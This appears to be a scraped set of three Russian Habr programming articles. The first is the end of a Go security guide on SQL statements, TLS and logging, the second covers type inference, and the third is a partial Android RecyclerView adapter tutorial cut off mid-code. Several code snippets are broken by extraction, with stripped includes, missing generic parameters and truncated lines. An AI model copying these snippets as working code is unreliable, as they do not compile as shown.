stmt, err := db.PrepareContext(ctx, "INSERT INTO accounts SET hash=?, email=?")
if err != nil {
panic(err)
}
result, err := stmt.ExecContext(ctx, hashedPassword, email)
if err != nil {
panic(err)
}
}
```
Обратите внимание, что вам по-прежнему необходимо соблюдать осторожность при передаче информации между службами. Вы бы не хотели отправлять данные пользователя в виде простого текста. При этом не имеет значения, шифрует ли приложение пользовательские данные перед сохранением. Предположим, что кто-то в интернете может прослушивать ваш трафик и вести журналы запросов вашей системы. Злоумышленник может использовать эту информацию для сопоставления ее с другими данными из других систем.
### 5. Обеспечьте HTTPS-связь
В настоящее время большинство браузеров требуют, чтобы HTTPS работал на каждом сайте. Chrome, например, покажет вам предупреждение, если сайт не использует HTTPS. Отдел информзащиты может использовать в качестве политики обеспечение транзитного шифрования для связи между службами. То есть, для обеспечения безопасности транзитного соединения в системе речь идет не только о прослушивании приложения в порту 443. Вам также необходимо использовать надлежащие сертификаты и применять HTTPS, чтобы не допустить, чтобы злоумышленники понизили протокол до HTTP.
Вот фрагмент кода для веб-приложения, которое обеспечивает и использует протокол HTTPS:
```
package main
import (
"crypto/tls"
"log"
"net/http"
)
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
w.Header().Add("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
w.Write([]byte("This is an example server.\n"))
})
cfg := &tls.Config{
MinVersion: tls.VersionTLS12,
CurvePreferences: []tls.CurveID{tls.CurveP521, tls.CurveP384, tls.CurveP256},
PreferServerCipherSuites: true,
CipherSuites: []uint16{
tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,
tls.TLS_RSA_WITH_AES_256_GCM_SHA384,
tls.TLS_RSA_WITH_AES_256_CBC_SHA,
},
}
srv := &http.Server{
Addr: ":443",
Handler: mux,
TLSConfig: cfg,
TLSNextProto: make(map[string]func(*http.Server, *tls.Conn, http.Handler), 0),
}
log.Fatal(srv.ListenAndServeTLS("tls.crt", "tls.key"))
}
```
Обратите внимание, что приложение будет прослушивать порт 443. Следующая строка — это строка, обеспечивающая настройку HTTPS:
```
w.Header().Add("Strict-Transport-Security", "max-age=63072000; includeSubDomains")
```
Вы также можете указать имя сервера в конфигурации TLS таким образом:
```
config := &tls.Config{ServerName: "yourSiteOrServiceName"}
```
Рекомендуется всегда использовать транзитное шифрование, даже если ваше веб-приложение предназначено только для внутренней связи. Представьте себе, если по какой-то причине злоумышленник может прослушать ваш внутренний трафик. Всякий раз, когда это возможно, всегда лучше поднять планку сложности для возможных будущих атакующих.
### 6. Обращайте внимание на ошибки и логи
И последнее, но не менее важное, это обработка ошибок и логирование в ваших приложениях Go.
Для успешного устранения неполадок в продакшене вам необходимо правильно настроить свои приложения. Вы должны принимать во внимание ошибки, которые вы показываете пользователям. Вы не хотели бы, чтобы пользователи знали, что именно пошло не так. Злоумышленники могут использовать эту информацию, чтобы определить, какие услуги и технологии вы используете. Кроме того, вы должны помнить, что, хотя логи — это замечательно, они где-то хранятся. И если логи попадают в чужие руки, их можно использовать для встраивания предстоящей атаки в систему.
Итак, первое, что вам нужно узнать или вспомнить, это то, что в Go нет исключений. Это означает, что вам нужно обрабатывать ошибки иначе, нежели в других языках. Стандарт выглядит так:
```
if err != nil {
// обработка ошибки
}
```
Также Go предлагает встроенную библиотеку для работы с логами. Самый простой код выглядит так:
```
package main
import (
"log"
)
func main() {
log.Print("Logging in Go!")
}
```
Но есть и сторонние библиотеки для ведения логов. Некоторые из них — это `logrus`, `glog` и `loggo`. Вот небольшой фрагмент кода с использованием `logrus`:
```
package main
import (
"os"
log "github.com/sirupsen/logrus"
)
func main() {
file, err := os.OpenFile("info.log", os.O_CREATE|os.O_APPEND, 0644)
if err != nil {
log.Fatal(err)
}
defer file.Close()
log.SetOutput(file)
log.SetFormatter(&log.JSONFormatter{})
log.SetLevel(log.WarnLevel)
log.WithFields(log.Fields{
"animal": "walrus",
"size": 10,
}).Info("A group of walrus emerges from the ocean")
}
```
Наконец, убедитесь, что вы применяете все предыдущие рекомендации, такие как шифрование и санация данных, которые вы помещаете в логи.
### Всегда есть куда расти
Эти рекомендации — минимум того, что должно быть свойственно вашим приложениям Go. Однако, если ваше приложение представляет собой инструмент командной строки, вам не понадобятся методы шифрования для транзита. Но остальные советы по безопасности применимы практически ко всем типам приложений. Если вы хотите узнать больше, есть [книга от OWASP специально для Go](https://github.com/OWASP/Go-SCP), которая углубляется в некоторые темы. Также есть [репозиторий](https://github.com/guardrailsio/awesome-golang-security), содержащий ссылки на фреймворки, библиотеки и другие инструменты для обеспечения безопасности в Go.
Независимо от того, что вы в конечном итоге делаете, помните, что вы всегда можете повысить безопасность своего приложения. Злоумышленники всегда найдут новые способы использования уязвимостей, поэтому постарайтесь постоянно работать над безопасностью своего приложения.
---
*Эта статья была написан Кристианом Мелендесом. [Кристиан](https://cmelendeztech.com/) — технолог, который начинал как разработчик программного обеспечения и совсем недавно стал облачным архитектором, специализирующимся на реализации конвейеров непрерывной поставки с приложениями в нескольких вариантах, включая .NET, Node.js и Java, часто с использованием контейнеров Docker.*
**[Узнать подробнее о курсе.](https://otus.pw/gOgh/)** | https://habr.com/ru/post/488724/ | null | ru | null |
# Вывод типов в программировании
При написании алгоритмов зачастую возникает ситуация, когда какая-то функция нуждается в вызове с тем же количеством аргументов, но с не совпадающими типами. Решаем.
Надуманный пример на C++:
```
#include
#include
using namespace std;
void a(int x)
{
cout<<"number\n";
}
void a(float x)
{
cout<<"number\n";
}
void a(const char \*x)
{
cout<<"string\n";
}
template
void f(void(\*g)(T x), T x)
{
g(x);
}
int main()
{
f(a, 1);
f(a, 1.0f);
f(a, "Alexey");
return 0;
}
```
Тот же код на Javascript:
```
function f(g, x)
{
g(x)
}
function a(x)
{
alert(typeof x)
}
f(a, 1)
f(a, 1.0)
f(a, 'Alexey')
```
Очевидно, что код на javascript является более удачным. Давайте разберёмся, благодаря чему так происходит.
### Динамический подход
В javascript у каждой переменной есть свойство «тип», который возвращается при действии оператора typeof на переменную. Это свойство хранится во время выполнения программы, всегда, когда существует переменная. И когда к переменной применяется какой-то оператор, функция, реализующая этот оператор, проверяет тип переменной. В соответствии с типом выполняются какие-то действия. Например 2+2 вернёт 4, 2+'Alexey' вернёт '2Alexey'. Т.е. операторы языка обязаны почти всегда проверять типы переменных, к которым они применяются. Назовём данный подход «динамической типизацией».
Минусы этого подхода достаточно очевидны, точнее один минус-необходимо делать дополнительные вычисления во время выполнения программы.
Плюсом будет код, в котором нет понятия типа в явном виде, только последовательность действий, что положительно сказывается на читаемости.
Ещё одним плюсом будет код, в котором не нужно дублировать значительную часть логики. Это слегка видно на примере выше-функция f реализуется один раз, но при этом результат её выполнения зависит от переданной в неё функции, реализующей различную логику.
### Статический подход
Язык C требует указывать тип переменной и запрещает его менять. В результате во время выполнения программы нет никаких проверок типов, операторы применяются к переменным однозначно. Но при этом нет красивых механизмов обобщения. Что есть: универсальный указатель void\*, возможность передать функции указатель на другую функцию. В языке C++, который в некотором роде является расширением языка C, появились такие механизмы как полиморфизм функций(перегрузка) и шаблоны.
Полиморфизм функций позволяет назвать 2 функции, делающие одно и то же но с разными типами данных, одинаковыми именами.
Шаблоны вводят новый тип-общий для всех типов. Хороши эти механизмы тем, что с их помощью, без участия программиста, производится подстановка функций с нужными типами. Т.е. если шаблон одной функции задействует 2 разных типа, то во время компиляции будут созданы 2 разные функции. При вызове исходной функции в коде будет подставляться в скомпилированный файл вызов скопированной функции нужного типа.
**Плюсы подхода:** максимальная скорость выполнения.
**Минусы:** больший объём памяти, необходимый для выполнения.
### Вывод типов
Другими словами, когда нужна максимальная производительность и памяти хватает более предпочтительным является статический подход.Но при выборе, допустим, языка C++, теряется читаемость кода. Ведь на каждый чих приходится указывать тип, с которым вызывается функция.
Например, код быстрой сортировки:
```
#include
#include
using namespace std;
template
void qsort(T\*\* array, int length, int compare(T \*a, T \*b))
{
int left = 0;
int right = length-1;
T \*middle\_element;
middle\_element=array[length/2];
do
{
while( compare(array[left], middle\_element)<0 )
left++;
while( compare(array[right], middle\_element)>0 )
right--;
if(left<=right)
{
swap(array[left], array[right]);
left++;
right--;
}
}
while(left<=right);
if(right>0)
qsort(array, right, compare);
if(left
```
При полном удалении типов только выигрывает в читаемости:
```
#include
#include
using namespace std;
qsort(array, length, compare)
{
left = 0;
right = length-1;
middle\_element = array[length/2];
do
{
while( compare(array[left], middle\_element)<0 )
left++;
while( compare(array[right], middle\_element)>0 )
right--;
if(left<=right)
{
swap(array[left], array[right]);
left++;
right--;
}
}
while(left<=right);
if(right>0)
qsort(array, right, compare);
if(left
```
Из этих соображений был сделан вывод, что отказаться от типов-хорошая идея. Давайте порассуждаем, как же это реализовать.
Выделим 3 основных типа:
1) Простой
2) Составной
3) Функция
К простому типу отнесём все типы, в которые не вложены другие(строковый, числовой, массив ...). К составному соответственно составные конструкции, такие как гетерогенный массив, структура и т.д. Функция стоит особняком, поскольку у неё есть аргументы, которые сами являются типами.
Итак, вывод типа производится при следующих операциях:
1) Присваивание
2) Вызов функции
При выводе типа переменная не может поменять тип. Доказательтво от противного:
```
f(a)
{
x=1
if(a<2)
x='Alexey'
return x
}
```
В этом коде возникает необходимость выполнить код, чтобы узнать возвращаемый тип функции f, что является противоречием статического подхода.
Из этого вытекает необходимость проверять тип при каждом присваивании либо вызове функции во время компиляции программы.
Вывод типа из выражения делается вполне однозначно, так как операторы, как унарные, так и бинарные, действуют во множество определённого типа. Так, оператор "+" при сложении двух типов int даёт в результате int. Проблема возникает если применить бинарный оператор к переменным с разным типом. Сложение int с float может быть и int, и float, либо вообще быть ошибкой, поскольку возможна потеря точности.
Таким образом при присваивании значения переменной проверяется совпадение типа переменной с выведенным типом выражения. Это уже позволяет выводить типы для кода, у которого нет вызова функции, принимающей на вход другую функцию. Если есть такой вызов, то придётся выяснять, какую функцию подставлять в качестве аргумента.
Рассмотрим более подробно вывод основных типов.
Простой, очевидно, включается в остальные. Составной выводится присваиванием:
```
x={name:"Alexey"}
```
А также через описание типа в аргументах функции с указанием всех используемых в этом типе переменных:
```
f(user {name})
{
}
```
Проблема вывода функции в том, что она может принимать аргументом другую функцию а также возвращать функцию. В этом случае приходиться рекурсивно выводить тип вложенной функции и лишь затем выводить типы аргументов.
### Концовка
На основании всего написанного я, автор статьи, пишу язык программирования, который, будучи динамическим, со временем станет статическим. Уже поддерживается вывод типом на первом уровне функции (без использования замыканий). | https://habr.com/ru/post/309074/ | null | ru | null |
# Очень удобный абстрактный адаптер для RecyclerView своими руками
Когда-то, на заре моей карьеры Android-разработчиком, я просматривал примеры уже имеющихся приложений и в прекрасном, словно солнышко весной, [U2020](https://github.com/JakeWharton/u2020) я нашел пример очень удобного адаптера. Имя его [BindableAdapter](https://github.com/JakeWharton/u2020/blob/master/src/main/java/com/jakewharton/u2020/ui/misc/BindableAdapter.java). Долгое время я использовал его как основу своих адаптеров для ListView и GridView, но их эра приходит к своему закату и наступает эра RecyclerView. Этой эре нужен новый удобный адаптер, и я попытался его сделать.
Для начала я решил спросить у Google ~~«Где ж моя любимая?»~~ «RecyclerBindableAdapter», и ответа он мне не дал. Я честно попытался найти адаптер, с которым мне было бы удобно работать, но все было тщетно. Все найденные мной примеры реализовывали лишь конкретный функционал и не старались быть абстрактными. Да и, честно говоря, многие моменты в них меня смущали, к примеру: во многих из них в конструктор зачем-то передавались Context и LayoutManager. Хотя у RecyclerView.Adapter есть прекрасный метод onAttachedToRecyclerView(RecyclerView recyclerView), а из полученного recyclerView можно без лишнего шума и пыли получить и Context и LayoutManager.
Все это наводило меня на мысли, что они написаны скорее на скорую руку, чем вдумчиво. Так как RecyclerView использую повсеместно и каждый раз плодить кучу похожего кода как-то не комильфо, то я решил исправить ситуацию и написать удобный абстрактный адаптер.
А что вообще собственно нужно?
------------------------------
Портировать тот самый BindableAdapter под RecyclerView, при этом постараться максимально использовать все новые возможности RecyclerView. Как всегда есть одно «но»: RecyclerView по умолчанию не имеет Header'ов и Footer'ов. Следовательно когда будущий пользователь постарается исправить эту проблему создав новый тип элемента, из-за этого номер позиции сместится на количество Header'ов. Это плохо. Значит нужно заранее сделать возможность работы с Header'ами и Footer'ами, а также предусмотреть их наличие в методах работы с данными.
Потом я подумал, что неплохо бы было реализовать и другие возможности RecyclerView которыми я часто пользуюсь, а именно: фильтрация элементов и параллакс Header'а. Тут тоже не все так гладко.
Адаптер предусматривающий фильтрацию вынужден хранить два списка объектов (общий список и список тех элементов, что сейчас отображаются). Следовательно он занимает больше памяти, да и методы для работы с элементами будут работать медленнее. Незачем заранее забивать память лишними данными, да и фильтрация нужна не так уж часто. Поэтому было принято решение сделать его отдельным классом расширяющим наш основной адаптер. Таким образом мы будем использовать этот адаптер только тогда, когда нам необходима фильтрация, а в остальных случаях будем использовать основной адаптер.
Похожая ситуация сложилась и с параллаксом Header'a. Основной адаптер может иметь множество Header'ов и Footer'ов. Реализовать параллакс сразу нескольких элементов синхронно скорее всего будет проблематично, да и выглядеть будет некрасиво, так что не смысла даже пытаться. Делаем его так же отдельным классом.
На этом этапе я подумал, что неплохо было бы иметь некий аналог SimpleAdapter. Такой, чтоб его можно было объявить одной строкой, просто подсунув в него Layout ID и ViewHolder. Ведь зачем плодить кучу кода для простого списка.
В итоге задача сводилась к созданию 4 адаптеров:
1. RecyclerBindableAdapter — наш основной адаптер
2. FilterBindableAdapter — адаптер с возможностью фильтрации
3. ParallaxBindableAdapter — адаптер с возможностью параллакса Header'а
4. SimpleBindableAdapter — простой адаптер
Приступаем
----------
#### RecyclerBindableAdapter
Для начала сделаем возможным добавление Header'ов и Footer'ов, подобную реализацию я когда-то встретил на просторах StackOverflow и подкорректировал по нужды нашего адаптера. Я думаю подобную реализацию видели или делали большинство людей работающих с Android, поэтому подробно останавливаться на ней не буду.
**Делаем возможным добавление header'ов и footer'ов**
```
//типы для наших Header'ов и Footer'ов
public static final int TYPE_HEADER = 7898;
public static final int TYPE_FOOTER = 7899;
//коллекции где они будут храниться
private List headers = new ArrayList<>();
private List footers = new ArrayList<>();
@Override
public VH onCreateViewHolder(ViewGroup viewGroup, int type) {
//если это обычный элемент, то создаем обычный ViewHolder
if (type != TYPE\_HEADER && type != TYPE\_FOOTER) {
return (VH) onCreteItemViewHolder(viewGroup, type);
//иначе это header или footer
} else {
//создаем новый FrameLayout в качестве контейнера, это нужно потому, что нам может попасться обычный View
FrameLayout frameLayout = new FrameLayout(viewGroup.getContext());
frameLayout.setLayoutParams(new ViewGroup.LayoutParams(
ViewGroup.LayoutParams.MATCH\_PARENT, ViewGroup.LayoutParams.MATCH\_PARENT));
//создаем специальный ViewHolder для header'ов и footer'ов. Он ничем не примечателен, разве что помещает все содержимое в созданный нами FrameLayout
return (VH) new HeaderFooterViewHolder(frameLayout);
}
}
@Override
final public void onBindViewHolder(final RecyclerView.ViewHolder vh, int position) {
//Проверяем какой тип элемента в данной позиции и в зависимости от типа работаем с ним либо как с header/footer, либо как с обычным элементом
if (isHeader(position)) {
View v = headers.get(position);
prepareHeaderFooter((HeaderFooterViewHolder) vh, v);
} else if (isFooter(position)) {
View v = footers.get(position - getRealItemCount() - getHeadersCount());
prepareHeaderFooter((HeaderFooterViewHolder) vh, v);
} else {
onBindItemViewHolder((VH) vh, position - headers.size(), getItemType(position));
}
}
@Override
final public int getItemViewType(int position) {
//Проверяем какой тип на данной позиции
if (isHeader(position)) {
return TYPE\_HEADER;
} else if (isFooter(position)) {
return TYPE\_FOOTER;
}
int type = getItemType(position);
if (type == TYPE\_HEADER || type == TYPE\_FOOTER) {
throw new IllegalArgumentException("Item type cannot equal " + TYPE\_HEADER + " or " + TYPE\_FOOTER);
}
return type;
}
```
Теперь нужно сделать методы для работы с данными, названия для них возьмем из BindableAdapter для ListView/GridView.
**Работа с данными**
```
//инициализируем список наших элементов
private List items = new ArrayList<>();
//метод возвращающий кол-во элементов в списке не учитывая header'ы и footer'ы
public int getRealItemCount() {
return items.size();
}
//возвращаем элемент на выбранной позиции
public T getItem(int position) {
return items.get(position);
}
//добавляем элемент в выбранную позицию
public void add(int position, T item) {
//добавляем элемент в список
items.add(position, item);
//анимируем вставку элемента
notifyItemInserted(position);
//так как возможно данные во ViewHolder основаны на их позиции, то нужно обновить все элементы идущие после вставленного
int positionStart = position + getHeadersCount();
int itemCount = items.size() - position;
notifyItemRangeChanged(positionStart, itemCount);
}
//добавляем элемент в конец списка
public void add(T item) {
//добавляем элемент в список
items.add(item);
//анимируем вставку элемента
notifyItemInserted(items.size() - 1 + getHeadersCount());
}
//добавляем List элементов в конец списка, этот метод отличается от аналогичного в List, тем что предварительно не отчищает список. Это сделано для удобства, так как по моему опыту простое добавление в конец нужно чаще, чем очистка и добавление
public void addAll(List extends T items) {
final int size = this.items.size();
//добавляем элементы в список
this.items.addAll(items);
//анимируем вставку элементов
notifyItemRangeInserted(size + getHeadersCount(), items.size());
}
//заменяем элемент в указанной позиции
public void set(int position, T item) {
//заменяем элемент в списке
items.set(position, item);
//так как возможно данные во ViewHolder основаны на их позиции, то нужно обновить все элементы идущие после замененного
int positionStart = position + getHeadersCount();
int itemCount = items.size() - position;
//анимируем замену
notifyItemRangeChanged(positionStart, itemCount);
}
//удаление элемента с указанной позиции
public void removeChild(int position) {
//удаляем элемент из списка
items.remove(position);
//анимируем удаление
notifyItemRemoved(position + getHeadersCount());
//так как возможно данные во ViewHolder основаны на их позиции, то нужно обновить все элементы идущие после удаленного
int positionStart = position + getHeadersCount();
int itemCount = items.size() - position;
notifyItemRangeChanged(positionStart, itemCount);
}
//очищаем данные в адаптере оставляем только Header'ы и Footer'ы
public void clear() {
final int size = items.size();
//очищаем список
items.clear();
//анимируем удаление элементов
notifyItemRangeRemoved(getHeadersCount(), size);
}
//перемещение элемента с одной позиции на другую
public void moveChildTo(int fromPosition, int toPosition) {
//проверяем можем ли мы переместить элемент в указанную позицию
if (toPosition != -1 && toPosition < items.size()) {
//удаляем элемент с одной позиции...
final T item = items.remove(fromPosition);
//и добавляем в другой
items.add(toPosition, item);
//анимируем перемещение
notifyItemMoved(getHeadersCount() + fromPosition, getHeadersCount() + toPosition);
//так как возможно данные во ViewHolder основаны на их позиции, то нужно обновить все элементы идущие после перемещенного
int positionStart = fromPosition < toPosition ? fromPosition : toPosition;
int itemCount = Math.abs(fromPosition - toPosition) + 1;
notifyItemRangeChanged(positionStart + getHeadersCount(), itemCount);
}
}
//возвращает позицию элемента
public int indexOf(T object) {
return items.indexOf(object);
}
```
Ну вот в принципе мы и закончили наш RecyclerBindableAdapter. Полный текст можно посмотреть [тут](https://github.com/princeparadoxes/RecyclerBindableAdapter/blob/master/library/src/main/java/com/danil/recyclerbindableadapter/library/RecyclerBindableAdapter.java) или под спойлером.
**RecyclerBindableAdapter**
```
public abstract class RecyclerBindableAdapter
extends RecyclerView.Adapter {
public static final int TYPE\_HEADER = 7898;
public static final int TYPE\_FOOTER = 7899;
private List headers = new ArrayList<>();
private List footers = new ArrayList<>();
private List items = new ArrayList<>();
private RecyclerView.LayoutManager manager;
private LayoutInflater inflater;
private GridLayoutManager.SpanSizeLookup spanSizeLookup = new GridLayoutManager.SpanSizeLookup() {
@Override
public int getSpanSize(int position) {
return getGridSpan(position);
}
};
public int getRealItemCount() {
return items.size();
}
public T getItem(int position) {
return items.get(position);
}
public void add(int position, T item) {
items.add(position, item);
notifyItemInserted(position);
int positionStart = position + getHeadersCount();
int itemCount = items.size() - position;
notifyItemRangeChanged(positionStart, itemCount);
}
public void add(T item) {
items.add(item);
notifyItemInserted(items.size() - 1 + getHeadersCount());
}
public void addAll(List extends T items) {
final int size = this.items.size();
this.items.addAll(items);
notifyItemRangeInserted(size + getHeadersCount(), items.size());
}
public void set(int position, T item) {
items.set(position, item);
int positionStart = position + getHeadersCount();
int itemCount = items.size() - position;
notifyItemRangeChanged(positionStart, itemCount);
}
public void removeChild(int position) {
items.remove(position);
notifyItemRemoved(position + getHeadersCount());
int positionStart = position + getHeadersCount();
int itemCount = items.size() - position;
notifyItemRangeChanged(positionStart, itemCount);
}
public void clear() {
final int size = items.size();
items.clear();
notifyItemRangeRemoved(getHeadersCount(), size);
}
public void moveChildTo(int fromPosition, int toPosition) {
if (toPosition != -1 && toPosition < items.size()) {
final T item = items.remove(fromPosition);
items.add(toPosition, item);
notifyItemMoved(getHeadersCount() + fromPosition, getHeadersCount() + toPosition);
int positionStart = fromPosition < toPosition ? fromPosition : toPosition;
int itemCount = Math.abs(fromPosition - toPosition) + 1;
notifyItemRangeChanged(positionStart + getHeadersCount(), itemCount);
}
}
//@TODO need test
public int indexOf(T object) {
return items.indexOf(object);
}
@Override
public VH onCreateViewHolder(ViewGroup viewGroup, int type) {
//if our position is one of our items (this comes from getItemViewType(int position) below)
if (type != TYPE\_HEADER && type != TYPE\_FOOTER) {
return (VH) onCreteItemViewHolder(viewGroup, type);
//else we have a header/footer
} else {
//create a new framelayout, or inflate from a resource
FrameLayout frameLayout = new FrameLayout(viewGroup.getContext());
//make sure it fills the space
frameLayout.setLayoutParams(new ViewGroup.LayoutParams(
ViewGroup.LayoutParams.MATCH\_PARENT, ViewGroup.LayoutParams.MATCH\_PARENT));
return (VH) new HeaderFooterViewHolder(frameLayout);
}
}
@Override
final public void onBindViewHolder(final RecyclerView.ViewHolder vh, int position) {
//check what type of view our position is
if (isHeader(position)) {
View v = headers.get(position);
//add our view to a header view and display it
prepareHeaderFooter((HeaderFooterViewHolder) vh, v);
} else if (isFooter(position)) {
View v = footers.get(position - getRealItemCount() - getHeadersCount());
//add our view to a footer view and display it
prepareHeaderFooter((HeaderFooterViewHolder) vh, v);
} else {
//it's one of our items, display as required
onBindItemViewHolder((VH) vh, position - headers.size(), getItemType(position));
}
}
private void prepareHeaderFooter(HeaderFooterViewHolder vh, View view) {
//if it's a staggered grid, span the whole layout
if (manager instanceof StaggeredGridLayoutManager) {
StaggeredGridLayoutManager.LayoutParams layoutParams = new StaggeredGridLayoutManager.LayoutParams(
ViewGroup.LayoutParams.MATCH\_PARENT, ViewGroup.LayoutParams.MATCH\_PARENT);
layoutParams.setFullSpan(true);
vh.itemView.setLayoutParams(layoutParams);
}
//if the view already belongs to another layout, remove it
if (view.getParent() != null) {
((ViewGroup) view.getParent()).removeView(view);
}
//empty out our FrameLayout and replace with our header/footer
((ViewGroup) vh.itemView).removeAllViews();
((ViewGroup) vh.itemView).addView(view);
}
private boolean isHeader(int position) {
return (position < headers.size());
}
private boolean isFooter(int position) {
return footers.size() > 0 && (position >= getHeadersCount() + getRealItemCount());
}
protected VH onCreteItemViewHolder(ViewGroup parent, int type) {
return viewHolder(inflater.inflate(layoutId(type), parent, false), type);
}
@Override
public int getItemCount() {
return headers.size() + getRealItemCount() + footers.size();
}
@Override
final public int getItemViewType(int position) {
//check what type our position is, based on the assumption that the order is headers > items > footers
if (isHeader(position)) {
return TYPE\_HEADER;
} else if (isFooter(position)) {
return TYPE\_FOOTER;
}
int type = getItemType(position);
if (type == TYPE\_HEADER || type == TYPE\_FOOTER) {
throw new IllegalArgumentException("Item type cannot equal " + TYPE\_HEADER + " or " + TYPE\_FOOTER);
}
return type;
}
@Override
public void onAttachedToRecyclerView(RecyclerView recyclerView) {
super.onAttachedToRecyclerView(recyclerView);
if (manager == null) {
setManager(recyclerView.getLayoutManager());
}
if (inflater == null) {
this.inflater = LayoutInflater.from(recyclerView.getContext());
}
}
private void setManager(RecyclerView.LayoutManager manager) {
this.manager = manager;
if (this.manager instanceof GridLayoutManager) {
((GridLayoutManager) this.manager).setSpanSizeLookup(spanSizeLookup);
} else if (this.manager instanceof StaggeredGridLayoutManager) {
((StaggeredGridLayoutManager) this.manager).setGapStrategy(
StaggeredGridLayoutManager.GAP\_HANDLING\_MOVE\_ITEMS\_BETWEEN\_SPANS);
}
}
protected int getGridSpan(int position) {
if (isHeader(position) || isFooter(position)) {
return getMaxGridSpan();
}
position -= headers.size();
if (getItem(position) instanceof SpanItemInterface) {
return ((SpanItemInterface) getItem(position)).getGridSpan();
}
return 1;
}
protected int getMaxGridSpan() {
if (manager instanceof GridLayoutManager) {
return ((GridLayoutManager) manager).getSpanCount();
} else if (manager instanceof StaggeredGridLayoutManager) {
return ((StaggeredGridLayoutManager) manager).getSpanCount();
}
return 1;
}
//add a header to the adapter
public void addHeader(View header) {
if (!headers.contains(header)) {
headers.add(header);
//animate
notifyItemInserted(headers.size() - 1);
}
}
//@TODO need test
public void removeHeader(View header) {
if (headers.contains(header)) {
//animate
notifyItemRemoved(headers.indexOf(header));
headers.remove(header);
}
}
//add a footer to the adapter
public void addFooter(View footer) {
if (!footers.contains(footer)) {
footers.add(footer);
//animate
notifyItemInserted(headers.size() + getItemCount() + footers.size() - 1);
}
}
//@TODO need test
public void removeFooter(View footer) {
if (footers.contains(footer)) {
//animate
notifyItemRemoved(headers.size() + getItemCount() + footers.indexOf(footer));
footers.remove(footer);
}
}
public int getHeadersCount() {
return headers.size();
}
protected View getHeader(int location) {
return headers.get(location);
}
public int getFootersCount() {
return footers.size();
}
protected View getFooter(int location) {
return footers.get(location);
}
protected int getItemType(int position) {
return 0;
}
abstract protected void onBindItemViewHolder(VH viewHolder, int position, int type);
protected abstract VH viewHolder(View view, int type);
protected abstract
@LayoutRes
int layoutId(int type);
public interface SpanItemInterface {
int getGridSpan();
}
//our header/footer RecyclerView.ViewHolder is just a FrameLayout
public static class HeaderFooterViewHolder extends RecyclerView.ViewHolder {
public HeaderFooterViewHolder(View itemView) {
super(itemView);
}
}
}
```
Теперь создадим какой-нибудь пример:
```
public class LinearExampleAdapter extends RecyclerBindableAdapter {
private LinearViewHolder.ActionListener actionListener;
//задаем layout id для нашего элемента
@Override
protected int layoutId(int type) {
return R.layout.linear\_example\_item;
}
//Создаем ViewHolder
@Override
protected LinearViewHolder viewHolder(View view, int type) {
return new LinearViewHolder(view);
}
//Изменяем данные внутри элемента
@Override
protected void onBindItemViewHolder(LinearViewHolder viewHolder, final int position, int type) {
viewHolder.bindView(getItem(position), position, actionListener);
}
//интерфейс для обработки событий
public void setActionListener(LinearViewHolder.ActionListener actionListener) {
this.actionListener = actionListener;
}
}
```
**ViewHolder (Осторожно Butterknife 7)**
```
public class LinearViewHolder extends RecyclerView.ViewHolder {
@Bind(R.id.linear_example_item_text)
TextView text;
private int position;
private ActionListener actionListener;
public LinearViewHolder(View itemView) {
super(itemView);
ButterKnife.bind(this, itemView);
}
public void bindView(Integer item, int position, ActionListener listener) {
actionListener = listener;
this.position = position;
text.setText(String.valueOf(item));
}
@OnClick(R.id.linear_example_item_move_to_top)
protected void OnMoveToTopClick() {
if (actionListener != null) {
actionListener.onMoveToTop(position);
}
}
@OnClick(R.id.linear_example_item_remove)
protected void OnRemoveClick() {
if (actionListener != null) {
actionListener.OnRemove(position);
}
}
@OnClick(R.id.linear_example_item_up)
protected void OnUpClick() {
if (actionListener != null) {
actionListener.OnUp(position);
}
}
@OnClick(R.id.linear_example_item_down)
protected void OnDownClick() {
if (actionListener != null) {
actionListener.OnDown(position);
}
}
public interface ActionListener {
void onMoveToTop(int position);
void OnRemove(int position);
void OnUp(int position);
void OnDown(int position);
}
}
```
Вот так вот, все теперь просто. Работа с адаптером упростилась в разы. [Здесь](https://github.com/princeparadoxes/RecyclerBindableAdapter/tree/master/sample/src/main/java/com/danil/recyclerbindableadapter/sample/linear) вы можете найти этот пример, а вот [здесь](https://github.com/princeparadoxes/RecyclerBindableAdapter/tree/master/sample/src/main/java/com/danil/recyclerbindableadapter/sample/grid) пример для нескольких типов.
#### FilterBindableAdapter
Давайте теперь создадим адаптер с возможностью фильтрации. Расширяем RecyclerBindableAdapter и первым делом создаем два списка объектов: все объекты и те, что сейчас отображены. Переопределим часть методов, что бы теперь они работали с двумя списками.
**Создаем два списка. Переопределяем методы**
```
//инициализация списков
private List originalValues;
private List objects;
protected FilterBindableAdapter() {
objects = new ArrayList();
originalValues = new ArrayList();
}
//так как обычно работа с фильтруемым списком предполагает, что элементы загрузятся только один раз и в дальнейшем будут только фильтроваться, то перед добавлением предварительно очищаем список
@Override
public void addAll(List extends T data) {
//если точно такие же элементы уже есть в списке их нет смысла добавлять
if (objects.containsAll(data)) {
return;
}
//очищаем список отображаемых объектов и добавляем новые
objects.clear();
objects.addAll(data);
//очищаем список всех объектов и добавляем новые
originalValues.clear();
originalValues.addAll(data);
//анимируем
notifyItemRangeInserted(getHeadersCount(), data.size());
}
// подобным образом поступаем с остальными методами для работы с данными
```
Теперь сделаем фильтрацию.
**Делаем фильтрацию**
```
//возвращает ссылку на текущий фильтр
public Filter getFilter() {
if (filter == null) {
filter = new ArrayFilter();
}
return filter;
}
//интерфейс для отслеживания сколько элементов осталось после фильтрации
public interface OnFilterObjectCallback {
void handle(int countFilterObject);
}
//собственно класс нашего фильтра
private class ArrayFilter extends Filter {
//фильтруем наш список
@Override
protected FilterResults performFiltering(CharSequence prefix) {
FilterResults results = new FilterResults();
//если prefix для фильтрации пустой, то отображаем все элементы
if (prefix == null || prefix.length() == 0) {
ArrayList list;
synchronized (lock) {
list = new ArrayList(originalValues);
}
results.values = list;
results.count = list.size();
//если все же не пустой
} else {
//для начала сделаем все символы строки для фильтра прописными
String prefixString = prefix.toString().toLowerCase();
ArrayList values;
synchronized (lock) {
values = new ArrayList(originalValues);
}
final int count = values.size();
final ArrayList newValues = new ArrayList();
//проверяем каждый наш элемент на соответствие фильтру
for (int i = 0; i < count; i++) {
final T value = values.get(i);
final String valueText = itemToString(value).toLowerCase();
//если элемент начинается со строки для фильтра то он само собой подходит
if (valueText.startsWith(prefixString)) {
newValues.add(value);
//если же нет, то вычленяем слова и проверяем на соответствие каждое слово
} else {
